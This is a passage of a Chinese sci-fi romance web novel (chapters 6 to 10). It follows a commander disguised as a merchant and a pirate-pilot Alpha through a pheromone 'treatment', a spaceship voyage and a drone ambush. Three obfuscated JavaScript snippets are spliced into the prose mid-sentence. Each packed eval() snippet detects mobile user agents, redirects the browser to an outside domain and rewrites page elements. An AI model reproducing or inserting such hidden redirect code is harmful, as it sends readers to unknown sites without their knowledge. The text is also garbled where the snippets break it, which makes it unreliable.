对方的呼吸落在頸间:“在……改进技术。” 说罢,一方更为柔软,温度也更高,还带着濕度的物体,落到了線体上。 这是……! 顾礼然的喉咙上下滑动,再度开口:“你,你这又是……” 若不是有变声器的遮挡,只怕任谁都能察觉出他的声音已全然变调。 对方很温和也自然地应着:“軟化。” 下一秒,戚应物的觜脣,带着热氣,骤然覆盖住他的線体。而被罩住的部分,又在被反复掭咶。 顾礼然想要抗议,想要告诉他不要做这些无用的事,但喉咙却不听使唤,不肯发出气音以外的任何声音。 直到他的月要都軟了下来。 他坐不住一般地往下塌,却又坚决地不肯索性靠在身後之人的怀里。 此时,戚应物伸出左胳膊,从後方绕过他的月要,握住他虚虚搭在沙发上的右手,给了他一个能撑住自己的借力点。 顾礼然的眼睛半睁半闭,朦朦胧胧地想着:这Alpha,竟是可以这么细心的吗? 下一秒,Alpha柔声道:“开始了哦。” 信息素陡然潅入。 先是涓涓细流,逐渐汇集成咆哮江河,最终汇入无尽海洋。 江水之中,海面之上,两股信息素宛如鱼儿般结伴起舞,又入水鸟般追逐打闹。 惬意至极。 顾礼然的眼睛骤然睁大——瞳孔却失去了焦距,一片涣散。 他的手,早已不自觉地与对方的手十指相缠,毫无缝隙地扣合在一起。 这……为什么…… 这种宛如溺毙的感觉,究竟……为什么…… 7. 售后服务 结束了。 顾礼然的头靠着沙发,脸红得发烫。 他那往日如同藏着寒冰一般的眼睛,如今只有潋滟水光。 他知道,自己应该起身,离开。 但他的身体,就是不想听话,就是不愿意顺从地站起来。 就在这时,他听见平日只会冷嘲热讽的Alpha,用最为温柔的声音,轻轻说着:“睡会儿吧。” ……睡会儿? 或许,就这样睡过去也不错? 就在顾礼然的思绪越□□缈虚无,就快被一片混沌所笼罩时—— 叮铃铃! 古董电话的铃声穿透了混沌与虚无。 顾礼然倏然清醒,黑着脸从沙发上速速起身,抬手往后拢了下散乱的额发,另一手接起电话:“一切正常。” 为了避免“皇家军团指挥官出现分化紊乱症”这个消息走漏,在这间用作“治疗”的阁楼里,没有任何监测仪器,隔断了网络连接,所有的家具摆设都是无法联网的老古董,甚至连光脑都不能带进来。 就连顾礼然自己贴在喉咙上的变声器,以及戚应物的生物识别锁眼罩,都是功能单一的古早设备,只能按照提前输入的程序执行命令。 唯一能和外界联系的工具,就是这台古地球才会用的拨号电话。 如果顾礼然在里面的时间太长,就会有人拨通这台电话,确保一切安好。 顾礼然理了下领口,同前次一样丢下一句“会有人带你走”,正要离去,却听见戚应物喊了声“等等”。 顾礼然停下脚步,转身有些不耐地看着对方:“怎么?” 戚应物也站起身:“我明天要离开这里,要离开一段时间。” 顾礼然:“……知道。” 戚应物有些局促:“之前托顾礼然给你的晶石,信息素是不是变淡了?” 顾礼然:“……” 戚应物也没等他回答,继续道:“能不能让顾礼然再把晶石给我,我想多放一些信息素进去。” “这样哪怕我没在,你也不用担心没有信息素……” 顾礼然再次抬手拢了一把总是往前散落的刘海:“你怎么这么关心我有没有信息素?” 被问及此处,戚应物的嘴唇稍微抿了抿,甚至脸上的红晕都深了些。 虽说戴着眼罩,顾礼然完全能想象出,这人现下是怎样的眼神:温良的,期冀的,眼里蒙着一层光,好比湖面上笼着一层薄雾。 他甚至稍稍低下头——明明什么都看不到,却还是刻意错开视线以免对方尴尬。 他小声道:“因为……我标记了你啊……还是完全标记……” 听完这句话,顾礼然的嘴角不知何时已翘起一个戏谑的弧度:“噢?” “原来这是你的售后服务。” 戚应物:“……啊?” 顾礼然没再说话,拉开木门径直出去了。 * 次日。 按照安排,明天一早,顾礼然和他的副官,就会扮作商人,搭乘民用级运输舰前往中枢转运港口,在那里“偶遇”驾驶着小型飞船的戚应物,再由戚应物载着他们前往边境星。 这天上午,戚应物跟着副官来到会议室,在行动开始前做最后的确认。 他坐在会议室的最后一排,看着顾礼然精准迅速地和下属确认一个个关键点,听着对方用沉稳而不容置疑的语调发布命令,即使他再怎么看顾礼然不顺眼,也不得不承认:顾礼然,确实是一位非常优秀的指挥官。 不过,为什么这位优秀的指挥官,这么不把自己这位星盗当做外人?甚至让自己参加这种级别的“战前”会议? 他就不担心自己学到他的策略精髓之后,从此知道该怎么对付他? 正疑惑着,顾礼然已经点到他的名字,询问他的准备情况。 早就将这些节点翻来覆去摸透了的戚应物,不慌不忙地站起身,直视着前方,一一作答。 顾礼然手撑在桌面上,不动声色地听着戚应物的“汇报”,漆黑如渊的眼睛里看不出半点的情绪。 说完之后,戚应物挑了下眉毛,浅褐色的眼睛里满满都是:怎么样,顾将军您还有什么要“指教”的吗?比如,这里挑挑刺,那里找找毛病? 然而顾礼然只是略一颔首,说了声“好”,没再多问任何一句。 戚应物重新坐下,心里却莫名有种……拳头打在棉花上的失落。 会议快速结束了。 其余人都迅速离开各自去做最后的收尾工作,唯有戚应物被顾礼然留了下来。 顾礼然走到他面前,冷声道:“那位Omega让我提醒你一件事。” “你们现在只是‘交易关系’。你为他提供信息素,他保障你的人身安全。” “你不要做什么多余的考虑。” 这些话,戚应物其实都知道。 他也承认,顾礼然说得没错。他和那位Omega之间,连面都不曾见过——说不定永远都不会见面,自己只是按需提供信息素而已。 这种关系,不是交易还能是什么。 可即使如此,现下顾礼然这么冰冷地说穿这件事,戚应物还是听得无名火起。 他冷哼一声:“放心吧顾将军。” “我没有什么多余的考虑。” “只是,任何一个有点人性有点担当的Alpha,都应善待自己标记过的Omega。” 戚应物越说,心里的邪火越大。 最后,他半眯着眼睛:“当然,顾将军这样的Alpha,不屑于理解这种——” 话未说完,戚应物眼前闪过一个透明小盒子。 小盒子里所盛放的,正是他送给Omega的晶石吊坠。 顾礼然的语气依然是冷漠的,唯有嘴角带着点儿嘲讽般的弧度:“既然你没有多余的考虑,那就本本分分地做好‘售后服务’。” 戚应物顿时被梗得不上不下的。 乖乖接过小盒子,拿回去灌注信息素?倒显得自己多听顾礼然的话一样。 拒接小盒子?那Omega这段时间不就得不到足够的信息素了? 如此一想,他不得不抬手接住小盒子,恨恨道:“不劳将军提醒。” 顾礼然嘴角的弧度又扩大半分:“好。” * 当天晚上,顾礼然收到了重新灌满信息素的晶石吊坠。 他下意识轻轻嗅过上面的味道,又皱皱眉头,将吊坠锁进了柜子里。 这次行动必然不能带着这枚吊坠。 若是让对方发现,吊坠不在Omega那里,而是在自己手上,或许会多生事端。 * 两天后。 小型中枢转运星港口,苏曼港。 不同于森严有序的其他大中型枢纽,历史悠久的苏曼港活泼许多,也嘈杂许多。 除了帝国推行的“线上匹配贸易”,此地一直还保留着“线下贸易”。 有些不愿公布身份的神秘客,自会在这间港口寻找愿意合作的商人与雇佣兵,做些不那么正大光明的生意。 戚应物将自己破破烂烂摇摇晃晃的小飞船停靠好,穿着橙灰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396565|184301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相间的驾驶服,在人声鼎沸喧哗吵闹的码头溜达。 虽说他的衣着打扮平平无奇,可架不住天生的肩宽腿长,走起路来也显得格外利落。再加上即使在Alpha中也罕见的出色容貌,在这人头攒动的热闹地带,他自然吸引了不少目光。 不过戚应物对此早已习以为常。 或者说,他甚至不太察觉得到有人在偷偷看自己,更不知道那早年王室生活养成的气度,让他在旁人眼中有多熠熠生辉。 他走到相熟的酒吧,要了一杯原产于十字星的泡沫果酒,和装着机械眼的酒吧老板一通胡扯,顺便放出了“自己最近比较闲,有什么活可以找我”的消息。 没多久,一位个头不算高、笑容活泼的Beta挤到了戚应物身边:“听说,你的飞船能去诺丁谷?” 戚应物微笑着应道:“诺丁谷?可以啊,只要你们付的钱足够多——” 诺丁谷,边境四等星。两个月前,其人类聚居地遭遇严重地震,如今正在重建中。 要从苏曼港前往诺丁谷,可以选择帝国政府的运输船,价格便宜,但是要等上半个月;也可以选择花高价雇一艘小型飞船,自行前往。 戚应物的飞船,虽说又小又破,倒也足以完成这趟飞行。 Beta报上姓名,坐在吧台前和戚应物聊了一会儿,很快便谈妥价格,一拍即合。 这名叫艾科的Beta,举着盛满浅色浑浊液体的酒杯和戚应物碰了一下:“麻烦戚船长来见见我们老板,老板同意的话,咱们明天就能上路了。” 戚应物自然不会拒绝。他跳下吧台凳,跟着Beta走了。 这样的情景,在这间酒吧里是最为司空见惯的,每天要发生不知道多少遍,不会引起任何人的注意。 没一会儿,戚应物被领到不远处的一间博物馆里。 博物馆里没什么人。 甫一进去,便看见挑高的穹顶之下,有一位身材高挑肩宽腿长,身着黑色西装,戴着皮质手套,握着手杖的青年,正仰头欣赏着一处占据了整面墙的壁画。 艾科走上前去,对青年附耳说了句什么,对方才慢慢转过身来—— 一张英气而不失精致的脸。 刘海全都梳至脑后,皮肤略显苍白而眉目深黑,鼻梁挺直,唇色浅淡。 是顾礼然的脸,却又不全是——这是经过“微型投影仪”精准调整后的面孔,足以避开所有AI的识别。 饶是戚应物早就知道“老板”是顾礼然假扮的,此时看到这张矜贵冷淡的脸,也不禁在心中暗骂一声: 这家伙的骨相是真好看。 还有,这Alpha不是说要伪装吗?怎么伪装之后还是这么……引人注目?就不能装得平平无奇一点? “老板”冲戚应物扬了扬下巴,示意他走过来。 戚应物按照剧本,笑嘻嘻地走过去:“老板好。” 对方的黑色鎏金手杖在黑白相间的地板上轻碾一下:“我不喜欢别人称呼我为‘老板’。” 戚应物耐着性子,脸上依然是营业笑容:“听说您姓顾,那,称呼您‘顾先生’,可以吗?” 顾礼然这才微微点头:“可以。” 这人狭长的眼睛略微弯了弯,嘴角稍稍勾起: “戚船长是吧?” “嗯,还算懂点礼貌。” 戚应物:……! 他只觉得后槽牙都痒了。 这家伙!又在那里暗戳戳地呲儿人了! 等你上了我的飞船,看我不原地回旋转个180圈,非转得你吐出来不可! 8. 不要再想了 戚应物并没有操纵着他的“甲壳虫号”原地旋转180圈。 事实上,他驾驶得非常平稳。 不但如此,在起飞之前,他还仔细检查了顾礼然和艾科的安全锁扣,不厌其烦地介绍着驾驶舱里隐藏的救生设备,以及飞船如果出现剧烈颠簸、晃动甚至滚转时,有哪些可以降低恐慌感的措施。 其实他很清楚,这次的两位“客人”,飞行经验比自己都丰富太多。 像顾礼然这种能驾驶着机甲如闪电般掠过苍穹的人,哪里还需要入门级的介绍? 对方只会一笑置之。 但顾礼然其实听得很认真。 这人今天没有穿那身矜贵笔挺的西装,改穿了一身浅银灰色的飞行服。 他安静地坐在蛋形驾驶舱的后排座上,专注地听着“新手说明”,没有流露出一星半点的轻慢态度。 这倒是戚应物所没想到的。 他巨细无遗地都说了一遍之后,不忘问一句:“还有什么需要问船长的吗?” 艾科微笑着摇头:“没有了,船长讲解得好清楚!” 戚应物望向顾礼然那黑漆漆的眼睛:“顾先生呢?还有什么问题吗?” 顾礼然自然地回望着他,神色犹如一个真正的普通乘客:“没有了。” 戚应物这才转身坐好,手指在驾驶面板上飞快地跳动起来。 * 飞船冲出了苏曼港的大气层。 又是几次加速后,飞船的重力模拟模块自动开启,航行速度趋于稳定,驶入了前往诺丁谷的航道。 戚应物将主驾驶托管给AI,回头望着仅有的两名乘客:“怎么样?刚才加速的时候有没有不适感?” 艾科摇摇头:“没有。戚船长开得很稳啊。” 顾礼然没回答。 但戚应物敏锐地捕捉到,这人的眼里闪过一丝狡黠。 戚应物立刻笑容可掬地发问:“顾先生是有哪里不满意吗?” 顾礼然慢慢道:“只是有点意外。” 戚应物:“哦?” 顾礼然的眼睛这次甚至稍稍弯了一下:“我以为,戚船长会刻意‘炫技’,带着我们来几个滚转呢。” 戚应物下意识反驳道:“我怎么可能——啊……!” 他想说,我怎么可能做这种故意折腾乘客的事?就算我再讨厌这飞船上的乘客,只要我还是船长,我就得—— 但他随即又想到:昨天和顾礼然见面时,自己的确是咬牙切齿地暗暗决定,非得带着这人原地转个180圈不可。 但我不就是想想而已吗? 他是怎么知道的?难道我想得太专注不小心说出来了?! 戚应物正在又惊又窘,却看见顾礼然眼里的笑意渐深。这人甚至举起一根手指,在眼角处虚虚按了一下。 这动作,分明是在重申他以前说过的话:你眼里藏不住事。 戚应物:“你……!我……!” 他觉得憋了一肚子的气,却完全不知道要如何撒出来。 毕竟对方什么过分的话都没说啊。 他只能板着脸丢下一句:“我是船长,我会对我的乘客负责。那些拿乘客取乐的事,不会发生在我的‘甲壳虫’上。” 说完,他忿忿地转过头,装作一本认真地去研究主显屏上的航行图了。 在他身后,顾礼然手肘支在座椅扶手上,望着戚应物的背影,眼里浮着点清浅笑意。 这家伙,因为是船长,所以哪怕心有怨言,也要对乘客负责? 就像他根本不认识那位“Omega”,甚至他知道自己的行为只是在提供信息素,但因为标记了对方,所以就要善待对方? 还真是……一根筋啊。 顾礼然如此想着,搭在太阳穴上的指尖轻轻弹动着,薄薄的眼皮微微颤动两下。 这样的性格,在之后的任务里,必须得加以注意才行…… 恰在这时,驾驶舱后方传来轻快的声音: 【现在是加餐时间!现在是加餐时间!】 【今天的加餐是奶油爆米花和冰爽快乐水!让我们来享受愉快的飞行时光吧!】 顾礼然侧头一看: 只见银白色的驾驶舱门自动滑开,一个圆头圆脑的旧式机器人,脑袋顶上的光幕闪着大笑脸,从生活区漂到了这只有15平米大小的驾驶舱。 见到顾礼然和艾科后,小机器人用扁扁的机械手臂拍拍胸口,从里面取出一份爆米花和快乐水: 【我是巴格斯!简称小八!】 【来吧,来品尝小八出品的爆米花吧!】 一旁的艾科呆了几秒,随后问戚应物:“戚船长,这是送餐服务?” 戚应物抬起头,带着几分自豪道:“对啊。” “这是我们‘甲壳虫’号上的传统!” “每天都有点心!晚上还会有音乐时间!” “有吃有喝有音乐,这样的航行才有意思嘛!” 听完戚应物的解释,顾礼然眉头轻蹙,心道如此小的一只飞船上,居然还有一个这种古早机器人,还腾出空间来放置这种提供不了多少能量的零食,简直是浪费空间。 还有,这些零食,居然还是爆米花和快乐水? 这也太幼稚—— “啊啊,是爆米花啊!还是奶油味的!是古地球那种口味的!” 艾科兴奋的欢呼声打断了顾礼然的思绪。 这位年轻的Beta副官,眼里闪亮亮地接过了小机器人送来的爆米花,欢欢喜喜地往嘴里丢了一颗。 “噢噢!这个好吃哎!比我们首都星电影院的好吃多了!”艾科毫无保留地赞叹着,还将爆米花盒子递到顾礼然面前,殷勤地让将军阁下也来点儿。 顾礼然:…… 他揉揉眉心,面无波澜地拒绝道:“你自己吃。我不吃甜食。” 说罢,他打开光脑,开始处理公务。 艾科有些讪讪地收回手,靠着透明的舱壁,抱着那盒爆米花,想吃,又有点不好意思。 毕竟将军说了不吃,那自己在旁边咔咔大嚼,肯定不合适吧? 一时间,本应该充满欢快咀嚼声的驾驶舱里,倒是安静了下来。 只有小机器人还在转着脑袋:【小八做的爆米花,你们喜欢吗?喜欢吗?喜欢的话,可不可以夸奖下小八呢?】 这时,前方的戚应物“啧”了一声,长腿一伸站直身体,走到小八面前拍拍它的脑袋,道了声“跟我来”,便带着小机器人出了驾驶舱。 很快,银白色舱门再度开启。 戚应物手里抱着个纸盒子,独自走了进来。 他走到顾礼然面前,不由分说地将纸盒子按到顾礼然手边:“这个,给你。” 顾礼然的视线从邮件的字里行间挪到盒子里冒着热气的爆米花上,又缓缓上移,对着戚应物的眼睛,冷冷道:“我不吃甜食。” 戚应物:“这个是咖啡焦糖味道的!不甜!” “你以……你一定能喜欢的。” 顾礼然对这种按头让人吃零食的行为大不以为然。 就在他打算彻底出言拒绝这项自己并不需要的“加餐服务”时,戚应物抢先开口: “既然上了船,就要遵照船上的传统。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396566|184301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “在我们甲壳虫上,‘大家一起吃点心’就是传统!” 见戚应物如此执着、如此郑重地强调这件小事,顾礼然一边在心里说着这人真是又一根筋又幼稚,一边随手夹起一粒爆米花放进嘴里—— 嗯,咖啡的醇厚中和了焦糖的甜腻,依然甜,但不难吃。 甚至,还挺好吃。 很像很多年前,自己偶然吃过的咖啡焦糖味小饼干。 ……真的是很多年前了。 想到这里,顾礼然有一瞬间的失神。 因此他并没有注意到,站在面前的这Alpha,这一向表现得桀骜不驯的Alpha,脸上闪过了一缕难以捕捉、甚至他本人都未能察觉到的温情。 顾礼然醒过神来时,戚应物已经坐回前排驾驶座,左手爆米花右手快乐水,对着外面的漫天星空大嚼特嚼。 顾礼然低头看看自己手里的咖啡焦糖爆米花,又侧头看着旁边明明口水直流却忍着不吃的艾科,暗暗叹口气,再次夹起一粒爆米花,放进了嘴里。 这一下,驾驶舱里终于响起了此起彼伏的“卡嚓卡嚓”声。 很快,艾科手里的爆米花见了底。他解开安全锁,准备去后面的生活区溜达一下,顺便夸奖一下机器人小八。 顾礼然手上的爆米花还剩不少。 他一面看着光脑里的邮件,一面慢慢品尝着。 他身旁透明的舱壁,映出他微微垂头的模糊侧影。 坐在前方的戚应物,一边啜着带冰块的快乐水,一边不自觉地扫着顾礼然的轮廓。 大约是因为倒影过于朦胧的缘故,倒显得顾礼然的面部柔和了许多。 那平素宛如利剑般锋芒毕露的锐利线条,如今被光影中和掉了不少的冲击力。 恍惚间,戚应物看到了数年前的顾礼然。 年轻的,虽有棱角却并不冰冷,在看向自己时会露出些许温暖笑意的顾礼然。 是那天吗? 那个秋天的午后,自己坚持邀请顾礼然来“共进下午茶”。 顾礼然的脸上是与他年龄完全不符的肃穆沉稳:“感谢殿下美意,但臣不嗜甜食。” 自己在满桌的小蛋糕小饼干里找了一圈,找到一块咖啡焦糖的饼干,踮着脚要求顾礼然蹲下来,再将小饼干一把塞进了对方嘴里。 “吃这个,这个,咖灰焦糖味,母后说了,不甜哒。” 被塞了一嘴饼干的顾礼然怔愣半秒,往常总是沉静无波的黑色眼睛极难得地瞪大了,再缓缓地弯出一个温和的弧度:“嗯,确实不甜。” “很好吃。” 自己看着顾礼然的笑容,笑得比他开心多了:“礼然哥哥,喜欢这个味道?” 顾礼然半蹲半跪着,神色是旁人未曾见过的温柔:“嗯,喜欢。” 那时候的顾礼然…… 不知不觉间,戚应物的眼神竟有些发直。 直到身后响起冷冷的声音:“别想了。” 霎时间,戚应物一阵心惊:“什、什么……我,我没想什么……” 难道顾礼然真的能读心? 那他岂不是会发现我究竟是谁了?! 一想到这里,戚应物只觉浑身冰凉,连汗毛都直立起来。 顾礼然瞥着面颊发红的戚应物,嘴角微微下沉:“不要再想着那位Omega了。” 戚应物:“……哦。” 呼。 顾礼然总算猜错了一次。 我并没有在想那位Omega。 我在想的是…… 戚应物一阵烦躁,仰头喝光了最后一口快乐水。 9. 刺猬VS海胆 “甲壳虫号”的生活区也很小。 一小片公共区,分成浴室和餐厅,还在墙壁里塞了一个微型“太空苗圃”,种着些不过手指长的绿植。 两间双人休息舱,除掉一张上下床和简易储物格以外,就不剩太多空间了。 戚应物身为船长,理应独占一个休息舱。但他很“大方”地让给了顾礼然,自己去和艾科挤一间。 这天晚上,将驾驶系统托管出去的戚应物,躺在自己的下铺,一边看光脑,一边和上铺的艾科聊天。 和那位叫做谢岭的副官相比,艾科和戚应物年龄相近,态度亲和许多,说话的时候也没有那种夹枪带棒的调调。 今天的夜聊,就是艾科先起的头。 两人聊到家乡,聊到番茄炒蛋要不要加糖,月饼里能不能加肉,倒也聊得十分契合。 说着说着,就不可避免地聊到了顾礼然。 或者说,是艾科这个迷弟,哪怕戚应物不怎么搭话,也要把话题扯到顾礼然身上,变着法地称颂他心目中堪比明月的顾将军。 戚应物无奈,只能支起一只耳朵心不在焉地听着。 就这么尬聊片刻,艾科感叹一声:“戚船长,其实看你和顾先生聊天,我好羡慕啊。” 戚应物:“……啊?” 艾科:“顾先生平常从不和我们闲聊的。” “别说闲聊了,就连说话都很简短。” “我刚升成他副……助理的时候,他还跟我提过一个要求:‘汇报一件事,不要超过三句话。’” “要是我说得太长,他就会一抬手——‘你想清楚了再来。’” “像你们这样有来有回地说话,真好啊……” “好希望顾先生也能和我多说几句。” 戚应物花了好几秒的时间,才从艾科的语气里判断出:这位副官是真心的,完全没有在演。 他哭笑不得:“这有什么好羡慕的啊。” “你们老板只是看我不顺眼,一见面就挑我刺而已。” “怎么会!”艾科的声音一下提高,从上铺探出个脑袋,分外认真地反驳着:“顾先生一向理智稳重,才不是那种情绪化的,会故意挑刺的人。” “如果他有意见,那一定是这件事本身做得不够好。” 戚应物心说这位副官未免太迷弟了,简直就是顾礼然的狂热崇拜者。 他暗暗叹口气,生硬地转了一个话题:“你是军校毕业的?” 艾科:“啊,对,皇家军事学院一级优等,毕业后就进入第三军团了!” 戚应物:“你们军校有教过怎么解读古早机甲的文献吗?” 戚应物倒不是完全的没话找话。他之前在古籍图书馆翻到的资料,有一部分行文晦涩难以理解,如果能了解到学院派是怎么分析这些“古典文献”的,会让他学得更快。 艾科:“文献?唔……我们没有这个课程。” “不过,要是古早机甲相关的——我推荐你个游戏!” 艾科兴奋地从上铺爬下来,蹲坐在戚应物旁边,将光脑切换成投影模式:“这个,《机甲编年》,是我们每个学生都要登陆的游戏,有全息版本也有随时可登录的简易版本——” “里面可以选择各个年代的机甲,数据都是真实的,非常适合了解那些已经停产的古典机甲!” 投影光幕上,赫然漂浮着一台红白蓝三色的古董机甲。 戚应物的眼睛倏然睁大:“这?这是五百年前的机型了!游戏里居然还有这一款?!” 艾科在光脑上操作几下,除了光幕外,又投影出完整的虚拟驾驶舱和驾驶面板。 他自豪道:“还有配套的仿真数据呢!完全可以体会一把这种古早机甲驾驶起来是什么感受。” 戚应物的心咚咚跳着,咽了口唾沫,忍不住道:“这个游戏在星寰网上有公开接口吗?” 艾科摇摇头:“这个不是公开的,算是军校课程的一部分。” “啊,不过我正好有一个测试号,可以邀请非军校的人来做测试——你要有兴趣,就直接给你吧。” 戚应物先是一喜,随即又有些疑惑:“我是很有兴趣,不过,你就这么把测试号给我,合适吗?” 艾科笑着道:“啊,反正这是测试号啦,你在里面除了游戏环境以外,不可能接触到其他信息。” “如果是还未开放的保密型机甲,数据也是锁住的。” 见戚应物没有回答,艾科又道:“这也不是白白分享——你的驾驶记录都会留在里面,形成新的资料。” 说到这里,艾科还有些不好意思:“其实老师们还挺鼓励我们把账号分享给其他人的,尤其是……呃,嗯……” 戚应物听明白了。 这个游戏,一方面能让自己了解那些现实中接触不到的机甲,另一方面,也会将自己的驾驶习惯、思考方式毫无保留地记录下来。 某种意义上,算是一把双刃剑? 他略一思考,收下艾科推送过来的账号,点进了这款《机甲编年》。 他没想到的是,见自己收下账号,艾科在心里感叹一声:还好,完成了将军布置的“特别任务”。 早在出发之前,顾礼然就告诉艾科:如果戚应物表现出对古典机甲的兴趣,就给他一个账号,把他丢游戏里。 至于什么测试账号鼓励分享一类的,全是瞎编的。 * 同一时间,顾礼然的舱室。 顾礼然的面前漂浮着好几个光幕。 他一边听下属的汇报,一边快速浏览着机密邮件。 待几件公务都交代得差不多,其他下属都下线之后,谢岭才开口道:“将军,最近这两天,您父亲那边——为了顾仪轩上尉的事,私下联络了不少人。” 顾礼然:“嗯。” 谢岭:“按照您交代的,我们这边特意表现得模棱两可,没有出手阻止,只是在暗地记录这些名单。” 顾礼然:“好。” 他顿了一下,问道:“他找过边境星区域的人吗?” 谢岭立刻道:“找过。我把记录发您。” 顾礼然浏览着光幕上跳出来的信息,缓缓道:“再整理一份更细致的,特别是这几个人私底下的业务。两天内发我。” 谢岭:“明白,立刻安排。” 又说了几句,顾礼然切断通话,按了按眉心。 不出所料,顾仪轩之前干下的混账事,自己生理学意义上的“父亲”——顾维山,就是幕后推手。 顾维山虽然不甚聪明,但也不至于像顾仪轩这样是个彻头彻尾的蠢货。他敢这么干,一定提前做了别的安排。 现在就是要看看,他们在边境区,究竟织了多繁密的网…… 顾礼然沉思着,拿过银白色的合金水杯送到嘴边—— 杯子空了。 休息舱里的设施并不齐全。洗浴也好饮水也好,都得去公共区。 他站起身,按开舱门。 一开门,便看见戚应物和艾科肩并肩地坐在餐台旁,气氛融洽地讨论着什么,两人面前还各自摆着一盘焦黄的炸物。 那往常在自己面前浑身是刺宛如刺猬的Alpha,现下神色温和,一双眼尾微微下垂的眼睛,像是清水洗过一般,纯粹而干净,没有半分敌意地望着身边的Beta。 见顾礼然从舱室走了出来,戚应物坐着没动,艾科则下意识地起立:“顾先生!” 顾礼然朝艾科略一点头,示意对方坐下、不要拘礼。 他刚走到隐藏式供水终端旁边,机器人小八又晃了出来,挡住控制面板,晃动着鱼鳍一般扁扁的机械臂: 【您要喝水吗?】 【这里有纯净水,快乐水,气泡水,薄荷水,请问您要哪一种?】 顾礼然:“薄荷水。” 小八从胸口里掏出一瓶封装好的透明液体:【叮咚!您的薄荷水!】 顾礼然欣然接过:“谢谢。” 小八的屏幕上闪出一双大眼睛:【不客气!】 【不过,今天的点心,您还没有夸奖小八哦!】 【如果您觉得口味不错,能否给小八一句赞美? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396567|184301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 】 顾礼然不禁失笑:这古早的机器人,居然还有这种求夸夸模块? 他看着那双眨巴眨巴的大眼睛,语气温和:“好吃,很不错,谢谢小八。” 小八冒出无数粉色心心,原地转了一圈,举起双臂感叹着:【噢耶!被夸夸了,好开心!】 这姿势,这动作,就差原地翩翩起舞了。 顾礼然眉头一跳,眼角余光扫向了一旁的戚应物—— 对方睁大眼睛盯着小机器人,满眼都是“你停止啊你不要这么显眼包啊太丢人了啊”。 顾礼然方才心头的那点烦闷顿时淡去不少,眼角微弯,继续“夸奖”小机器人道:“小八不愧是随船型机器人,性格和船长还挺像的。” 小机器人哪里听得出其中深意,开心得原地又转了三圈:【噢耶!】 顾礼然忍住笑,拿着薄荷水回休息舱了。 剩下戚应物涨红了脸,再度咬牙切齿地想:这算哪门子的理智稳重?这人简直就是海胆变的吧!还是那种黑心的! * 甲壳虫号沿着航道前进了三天。 这三天,顾礼然吃了三顿点心,有饼干有蛋糕,全是咖啡焦糖味的。 还听了三天的“晚间音乐”。说是“音乐”,其实是雨打树叶声,海潮起落声,或者百鸟鸣叫声——听得顾礼然屡屡犯困,心道这算什么音乐,顶多算是助眠白噪音。 还好旅途很快就要结束了。 第三天下午,一行人已经接近诺丁谷星。 戚应物早已解除AI托管,坐在驾驶座上,聚精会神地埋头选择最合适冲入大气层的角度和位置。 顾礼然坐在后排,手自然地搁在扶手上,若有所思地望着前方—— 透过最前端的主视窗,在一片黑暗与深邃中,那颗褐色与绿色相间的星球已清晰可见。 看着看着,他的右手指尖倏然往下一按,眉头皱起:“不对。” 不对? 戚应物下意识一抬头,也望向前方:怎么了?哪里不对? 恰在这时,警报声骤然响起:【检测到高速接近的不明物体!进入防御模式!进入防御模式!】 半秒后,一颗黑色球体,如幽灵一般,以看似缓慢的速度,从不知何处飘然而至,浮在甲壳虫的正前方。 转瞬之间,不计其数的黑球从四面八方迅速聚拢,密密如织,占满视窗的每一寸角落,如鬼魅一般拦住了去路。 终于捕捉到足够信号的探测系统给出了分析结果,主显屏上一大片刺眼的红色:【前方是D-390号驱逐型无人机,带自爆系统,共3173只】 【我方如强行穿行,将造成发动机损伤,失去大部分动力,无法正常着陆】 艾科的声音有些发紧:“D-390?这种级别的无人机,怎么会被布在这块地方?而且我们这是报备过的航行,为什么——难道是星盗?拦路打劫的星盗?!” 顾礼然并未答话,只不动声色地按下安全锁。 他刚一起身,便听见戚应物厉声道:“乘客请坐好!” 顾礼然神色沉稳:“接下来交给我。” “你的飞船设备太老旧,弹药储备严重不足,无论是击退还是躲避无人机,概率都太低。” 戚应物猛一回头:“我说了,乘客请坐好!” “我既然是船长,就会把你们安全地送过去。” 顾礼然丝毫不为所动:“这种时候不要再坚持什么无谓的传统。” 他转身要走,戚应物却重重拍向驾驶面板,再度提高嗓门近乎大吼: “你想开着机甲冲过去是吗?!” “你一路伪装到这里,现在突然出动机甲,不是一下就暴露了吗?!” “你说概率低,那是没考虑到有我在操作!” 戚应物对上顾礼然的眼睛,视线锐利如刀,一字一顿道: “顾礼然,如果当时不是你使用精神力压制,你们根本抓不住我。” “你扣好安全锁,坐好。” “我,可以,带着你们穿过去!” 10. 锁上的门 密密麻麻的球形无人机,在黑暗苍穹中联成一张看不见边际的大网。 